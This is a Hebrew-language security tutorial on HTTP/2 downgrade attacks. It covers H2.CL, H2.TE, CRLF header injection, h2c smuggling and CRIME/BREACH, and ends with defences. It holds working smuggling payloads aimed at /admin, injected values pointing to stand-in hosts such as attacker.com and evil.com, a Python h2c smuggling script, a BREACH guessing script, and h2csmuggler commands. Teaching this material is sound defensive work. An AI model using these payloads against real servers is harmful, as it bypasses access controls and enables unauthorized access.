לדלג לתוכן

תקיפות HTTP/2 - HTTP/2 Attacks

מבוא

פרוטוקול HTTP/2 תוכנן לשפר ביצועים ואבטחה ביחס ל-HTTP/1.1. הוא משתמש ב-framing בינארי, multiplexing ודחיסת headers. אולם, ברוב הסביבות בפועל, השרת החזיתי מקבל HTTP/2 מהלקוח אך מתרגם אותו ל-HTTP/1.1 עבור השרת האחורי. תהליך התרגום הזה (downgrading) פותח וקטורי תקיפה ייחודיים.


סקירת פרוטוקול HTTP/2

מבנה בינארי - Binary Framing

ב-HTTP/1.1, בקשות הן טקסט חופשי המופרד ב-\r\n. ב-HTTP/2, כל בקשה מורכבת מ-frames בינאריים עם שדות אורך מפורשים:

+-----------------------------------------------+
|                 Length (24)                     |
+---------------+---------------+---------------+
|   Type (8)    |   Flags (8)   |
+-+-------------+---------------+---------------+
|R|                 Stream Identifier (31)       |
+=+=============================================+
|                   Frame Payload                |
+-----------------------------------------------+

כל frame מכיל שדה אורך שמגדיר בדיוק כמה בתים יש בו - אין צורך ב-Content-Length או Transfer-Encoding כדי לקבוע את גבולות הבקשה.

ריבוב - Multiplexing

ב-HTTP/2, בקשות מרובות עוברות על אותו חיבור TCP במקביל, כל אחת ב-stream נפרד עם מזהה ייחודי. זה מבטל את בעיית head-of-line blocking של HTTP/1.1.

דחיסת headers - HPACK

HPACK הוא אלגוריתם דחיסת headers ספציפי ל-HTTP/2. הוא משתמש בטבלה סטטית של headers נפוצות וטבלה דינמית שמתעדכנת לאורך החיבור:

Static table (partial):
+-------+------------------+-------------------+
| Index | Header Name      | Header Value      |
+-------+------------------+-------------------+
| 1     | :authority       |                   |
| 2     | :method          | GET               |
| 3     | :method          | POST              |
| 4     | :path            | /                 |
| 7     | :scheme          | https             |
+-------+------------------+-------------------+

הheaders פסאודו - Pseudo-Headers

ב-HTTP/2, שורת הבקשה מפורקת לheaders פסאודו שמתחילות בנקודתיים:

:method: GET
:path: /api/users
:scheme: https
:authority: example.com

הheaders אלו מתורגמות בחזרה לשורת בקשה ב-HTTP/1.1:

GET /api/users HTTP/1.1
Host: example.com

תרגום HTTP/2 ל-HTTP/1.1 - Downgrading

רוב השרתים החזיתיים (CDN, reverse proxy) מבצעים downgrade:

[Client] --HTTP/2--> [Front-End] --HTTP/1.1--> [Back-End]

תהליך התרגום:

HTTP/2 request:
:method: POST
:path: /search
:authority: example.com
content-type: application/x-www-form-urlencoded

q=test

translated to HTTP/1.1:
POST /search HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 6

q=test

השרת החזיתי מחשב את ה-Content-Length מתוך גודל ה-data frame ב-HTTP/2. כאן נוצרות ההזדמנויות לתקיפה.


תקיפת H2.CL - הברחה דרך Content-Length

ב-HTTP/2, אורך הגוף נקבע על ידי ה-framing הבינארי. אם השרת החזיתי מאפשר לנו לשלוח header Content-Length ב-HTTP/2, ומעביר אותה כמות שהיא ל-HTTP/1.1 - יכולה להיווצר הברחה.

דוגמה

בקשת HTTP/2:

:method: POST
:path: /
:authority: vulnerable-website.com
content-type: application/x-www-form-urlencoded
content-length: 0

GET /admin HTTP/1.1
Host: vulnerable-website.com

מה קורה:

  1. השרת החזיתי שולח את הבקשה עם הגוף המלא (כולל GET /admin...) כי ה-framing הבינארי מגדיר את האורך האמיתי
  2. אבל הוא מעביר גם את Content-Length: 0
  3. השרת האחורי קורא Content-Length: 0, מפרש את הבקשה כ-POST ריק, ואת GET /admin כבקשה חדשה

דוגמה מלאה ב-Burp Suite

ב-Burp Repeater, בחרו HTTP/2 ושלחו:

:method: POST
:path: /
:authority: <lab-url>
content-type: application/x-www-form-urlencoded
content-length: 0

GET /admin HTTP/1.1
Host: <lab-url>
Content-Length: 5

x=1

תקיפת H2.TE - Transfer-Encoding injection

הheader Transfer-Encoding אינה תקינה ב-HTTP/2 (אין צורך בה כי ה-framing הבינארי קובע את האורך). אולם, שרתים חזיתיים מסוימים לא מסננים אותה, ומעבירים אותה ל-HTTP/1.1 בתהליך התרגום.

דוגמה

בקשת HTTP/2:

:method: POST
:path: /
:authority: vulnerable-website.com
content-type: application/x-www-form-urlencoded
transfer-encoding: chunked

0

GET /admin HTTP/1.1
Host: vulnerable-website.com

לאחר התרגום, השרת האחורי מקבל HTTP/1.1 עם Transfer-Encoding: chunked, מפרש את 0 כסוף הבקשה, ואת GET /admin כבקשה חדשה.


CRLF injection דרך HTTP/2 headers

זהו וקטור תקיפה ייחודי ל-HTTP/2. מכיוון ש-HTTP/2 הוא פרוטוקול בינארי, ערכי headers יכולים להכיל תווים שלא מותרים ב-HTTP/1.1 - כולל \r\n.

הHeader Injection

:method: GET
:path: /
:authority: vulnerable-website.com
header-x: value\r\nTransfer-Encoding: chunked

לאחר התרגום ל-HTTP/1.1:

GET / HTTP/1.1
Host: vulnerable-website.com
Header-X: value
Transfer-Encoding: chunked

ה-\r\n בתוך ערך הheader ב-HTTP/2 הופך לשבירת שורה ב-HTTP/1.1, מה שמאפשר header injection שרירותי.

דוגמה מתקדמת - הברחה מלאה דרך CRLF

:method: POST
:path: /
:authority: vulnerable-website.com
foo: bar\r\nTransfer-Encoding: chunked

0

GET /admin HTTP/1.1
Host: vulnerable-website.com

לאחר התרגום:

POST / HTTP/1.1
Host: vulnerable-website.com
Foo: bar
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Host: vulnerable-website.com

הInjection דרך headers פסאודו

חלק מהשרתים החזיתיים לא מסננים \r\n גם בheaders פסאודו:

:method: GET
:path: / HTTP/1.1\r\nHost: attacker.com\r\n\r\nGET /admin HTTP/1.1\r\nHost: vulnerable-website.com
:authority: vulnerable-website.com

הברחת h2c - HTTP/2 Cleartext Upgrade

פרוטוקול h2c הוא HTTP/2 ללא הצפנה. הוא עובד באמצעות שדרוג מ-HTTP/1.1:

GET / HTTP/1.1
Host: target.com
Upgrade: h2c
HTTP2-Settings: AAMAAABkAARAAAAAAAIAAAAA
Connection: Upgrade, HTTP2-Settings

תקיפה

אם reverse proxy מעביר את header ה-Upgrade לשרת האחורי ללא בדיקה:

[Attacker] --HTTP/1.1 Upgrade: h2c--> [Reverse Proxy] --> [Back-End]

לאחר השדרוג, התוקף מדבר HTTP/2 ישירות עם השרת האחורי דרך ה-proxy, ועוקף את כל בקרות הגישה של ה-proxy:

import h2.connection
import h2.config
import socket
import ssl

def h2c_smuggle(target_host, target_port, path):
    """h2c smuggling attack"""

    sock = socket.create_connection((target_host, target_port))

    # Send the upgrade request
    upgrade_request = (
        f"GET / HTTP/1.1\r\n"
        f"Host: {target_host}\r\n"
        f"Upgrade: h2c\r\n"
        f"HTTP2-Settings: AAMAAABkAARAAAAAAAIAAAAA\r\n"
        f"Connection: Upgrade, HTTP2-Settings\r\n"
        f"\r\n"
    )
    sock.send(upgrade_request.encode())

    # Receive the 101 Switching Protocols response
    response = sock.recv(4096)
    if b"101" not in response:
        print("[-] h2c upgrade failed")
        return

    print("[+] h2c upgrade succeeded")

    # Now speaking HTTP/2
    config = h2.config.H2Configuration(client_side=True)
    conn = h2.connection.H2Connection(config=config)
    conn.initiate_connection()
    sock.send(conn.data_to_send())

    # Send the request directly to the back-end server
    headers = [
        (':method', 'GET'),
        (':path', path),
        (':authority', target_host),
        (':scheme', 'http'),
    ]
    conn.send_headers(1, headers, end_stream=True)
    sock.send(conn.data_to_send())

    # Receive the response
    data = sock.recv(65535)
    events = conn.receive_data(data)
    for event in events:
        print(event)

    sock.close()

# Usage - access a blocked path
h2c_smuggle("target.com", 80, "/admin")

כלי h2csmuggler

# Installation
git clone https://github.com/BishopFox/h2csmuggler.git
cd h2csmuggler
pip install -r requirements.txt

# Basic usage
python3 h2csmuggler.py -x https://target.com/ --test

# Access a blocked path
python3 h2csmuggler.py -x https://target.com/ -X GET https://target.com/admin

פיצול בקשות דרך HTTP/2 header injection - Request Splitting

ניתן לנצל CRLF injection בheaders HTTP/2 כדי לפצל בקשה אחת לשתיים:

:method: GET
:path: /
:authority: vulnerable-website.com
foo: bar\r\n\r\nGET /admin HTTP/1.1\r\nHost: vulnerable-website.com

לאחר התרגום:

GET / HTTP/1.1
Host: vulnerable-website.com
Foo: bar

GET /admin HTTP/1.1
Host: vulnerable-website.com

השרת האחורי רואה שתי בקשות נפרדות.


תקיפות דחיסה - CRIME ו-BREACH

תקיפת CRIME

תקיפת CRIME מנצלת את דחיסת הheaders ב-TLS/SPDY. היא עובדת כך:

  1. התוקף שולט בחלק מהנתונים שנשלחים (למשל, JavaScript בדפדפן)
  2. הוא מזריק ניחושים לערך של עוגייה
  3. אם הניחוש מופיע גם בheader האמיתית, הדחיסה תהיה יעילה יותר - והתגובה קטנה יותר
  4. על ידי מדידת גודל התגובה, התוקף יכול לנחש תו אחרי תו
Guess: Cookie: session=a  -> compressed size: 120
Guess: Cookie: session=b  -> compressed size: 120
Guess: Cookie: session=x  -> compressed size: 118  <-- match!

ב-HTTP/2, דחיסת HPACK מחליפה את הדחיסה ברמת TLS ומקשה על התקיפה, אבל לא בהכרח מונעת אותה.

תקיפת BREACH

תקיפת BREACH דומה ל-CRIME אך פועלת על גוף התגובה (HTTP compression) ולא על הheaders:

import requests

def breach_attack(target_url, known_prefix, charset):
    """
    Simple demonstration of the BREACH principle
    In practice the attack requires MitM and JavaScript in the victim's browser
    """
    results = {}

    for char in charset:
        guess = known_prefix + char
        # Send a request that causes the response body to include the guess
        resp = requests.get(
            target_url,
            params={"search": guess}
        )
        results[char] = len(resp.content)
        print(f"  '{char}' -> {len(resp.content)} bytes")

    # The character that causes the smallest size is probably correct
    best = min(results, key=results.get)
    print(f"[+] Next character probably: '{best}'")
    return best

מניפולציית headers פסאודו

ב-HTTP/2, headers פסאודו מועברות כ-headers רגילים עם הגנות מינימליות:

שם מתודה עם רווחים

:method: GET /admin HTTP/1.1\r\nHost: evil.com\r\n\r\nGET
:path: /ignored
:authority: vulnerable-website.com

נתיב מלא עם query string

:method: GET
:path: /admin?role=admin HTTP/1.1
:authority: vulnerable-website.com

סכמה מזויפת

:method: GET
:path: /
:scheme: https://attacker.com/
:authority: vulnerable-website.com

הגדרת Burp Suite לבדיקת HTTP/2

הגדרות בסיסיות

1. Open Settings -> Network -> HTTP
2. Make sure HTTP/2 is enabled (default from Burp 2023+)
3. In Repeater, select HTTP/2 in the protocol menu
4. Use the Inspector view to edit pseudo-headers

שליחת CRLF בheaders

1. In Repeater, switch to the Inspector view
2. Click a header and edit the value
3. Use \r\n to inject a new line
4. Burp will send the request over HTTP/2 with the CRLF inside the header

הרחבת HTTP/2 Smuggling

1. Install HTTP Request Smuggler from the BApp Store
2. The extension supports H2.CL, H2.TE and CRLF injection tests
3. Right-click -> Extensions -> HTTP Request Smuggler -> Smuggle Probe

טבלת וקטורי תקיפה

וקטור תנאי מוקדם השפעה
H2.CL שרת חזיתי מעביר Content-Length מ-H2 הברחת בקשות מלאה
H2.TE שרת חזיתי מעביר Transfer-Encoding מ-H2 הברחת בקשות מלאה
CRLF injection בheaders שרת חזיתי לא מסנן \r\n בheaders H2 הHeader injection, הברחה
CRLF injection בפסאודו שרת חזיתי לא מסנן \r\n בheaders פסאודו פיצול בקשות מלא
h2c smuggling שרת חזיתי מעביר Upgrade: h2c הbypass כל בקרות הגישה

הגנה

1. הימנעות מ-downgrading

- Use HTTP/2 end to end (front-end and back-end alike)
- If a downgrade is unavoidable, use a front-end server that performs strict normalization

2. אימות Content-Length

- When translating from HTTP/2 to HTTP/1.1, ignore the supplied Content-Length
  and use the data frame size only
- Reject HTTP/2 requests that contain Transfer-Encoding

3. סינון CRLF בheaders

- Reject any HTTP/2 header that contains \r\n, \r, or \n in the name or value
- Also filter pseudo-headers
- Most modern servers already do this, but it's important to verify

4. חסימת h2c

# nginx - block h2c upgrade
proxy_set_header Upgrade "";
proxy_set_header Connection "";
# HAProxy
http-request del-header Upgrade
http-request del-header HTTP2-Settings

5. עדכון שרתים

- Update front-end servers (nginx, HAProxy, Cloudflare) to the latest versions
- Most vendors have fixed the known issues
- Follow new CVEs in this area

סיכום

תקיפות HTTP/2 מנצלות את תהליך התרגום מ-HTTP/2 ל-HTTP/1.1. הפרוטוקול הבינארי של HTTP/2 מאפשר שליחת נתונים שאינם תקינים ב-HTTP/1.1, וכשהם מתורגמים - נוצרות חולשות. נקודות מפתח:

  • תקיפות H2.CL ו-H2.TE דומות להברחה קלאסית אך מנצלות את ההבדלים בין HTTP/2 ל-HTTP/1.1
  • CRLF injection בheaders HTTP/2 היא וקטור ייחודי שלא קיים ב-HTTP/1.1 רגיל
  • תקיפת h2c smuggling עוקפת לחלוטין את בקרות הגישה של ה-reverse proxy
  • ההגנה הטובה ביותר היא HTTP/2 מקצה לקצה ללא downgrade